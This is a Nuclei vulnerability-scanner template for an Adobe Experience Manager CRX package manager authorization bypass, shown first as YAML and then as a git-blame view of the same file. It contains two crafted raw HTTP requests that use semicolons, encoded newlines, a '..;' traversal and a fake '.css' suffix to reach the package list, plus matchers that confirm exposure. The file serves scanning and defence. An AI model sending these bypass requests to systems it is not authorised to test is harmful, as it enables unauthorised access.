nuclei-templates/misconfiguration/aem/aem-crx-bypass.yaml

id: aem-crx-bypass

info:
  author: dhiyaneshDK
  name: AEM CRX Bypass
  severity: critical
  reference: https://labs.detectify.com/2021/06/28/aem-crx-bypass-0day-control-over-some-enterprise-aem-crx-package-manager/
  tags: aem

requests:
  - raw:
      - |
        GET /crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
        Accept-Encoding: gzip, deflate

      - |
        GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
        Accept-Encoding: gzip, deflate

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'buildCount'
          - 'downloadName'
          - 'acHandling'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
Create aem-crx-bypass.yaml 2021-06-28 14:50:58 +00:00			`id: aem-crx-bypass`

Update aem-crx-bypass.yaml 2021-06-28 14:53:11 +00:00			`info:`
Create aem-crx-bypass.yaml 2021-06-28 14:50:58 +00:00			`author: dhiyaneshDK`
			`name: AEM CRX Bypass`
			`severity: critical`
			`reference: https://labs.detectify.com/2021/06/28/aem-crx-bypass-0day-control-over-some-enterprise-aem-crx-package-manager/`
			`tags: aem`

			`requests:`
			`- raw:`
			`- \|`
Update aem-crx-bypass.yaml 2021-07-01 16:53:08 +00:00			`GET /crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1`
Create aem-crx-bypass.yaml 2021-06-28 14:50:58 +00:00			`Host: {{Hostname}}`
			`Referer: {{BaseURL}}`
			`Accept-Encoding: gzip, deflate`
Added more strict matchers 2021-06-28 15:14:24 +00:00
Update aem-crx-bypass.yaml 2021-07-01 16:53:08 +00:00			`- \|`
			`GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1`
			`Host: {{Hostname}}`
			`Referer: {{BaseURL}}`
			`Accept-Encoding: gzip, deflate`
minor updates 2021-07-03 19:52:08 +00:00
Added more strict matchers 2021-06-28 15:14:24 +00:00			`matchers-condition: and`
Create aem-crx-bypass.yaml 2021-06-28 14:50:58 +00:00			`matchers:`
			`- type: word`
Added more strict matchers 2021-06-28 15:14:24 +00:00			`part: body`
Fixing errors in templates Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-27 07:43:24 +00:00			`words:`
Update aem-crx-bypass.yaml 2021-07-01 16:53:08 +00:00			`- 'buildCount'`
			`- 'downloadName'`
			`- 'acHandling'`
Added more strict matchers 2021-06-28 15:14:24 +00:00			`condition: and`

			`- type: word`
			`part: header`
			`words:`
			`- 'application/json'`

			`- type: status`
			`status:`
Update aem-crx-bypass.yaml 2021-07-01 16:53:08 +00:00			`- 200`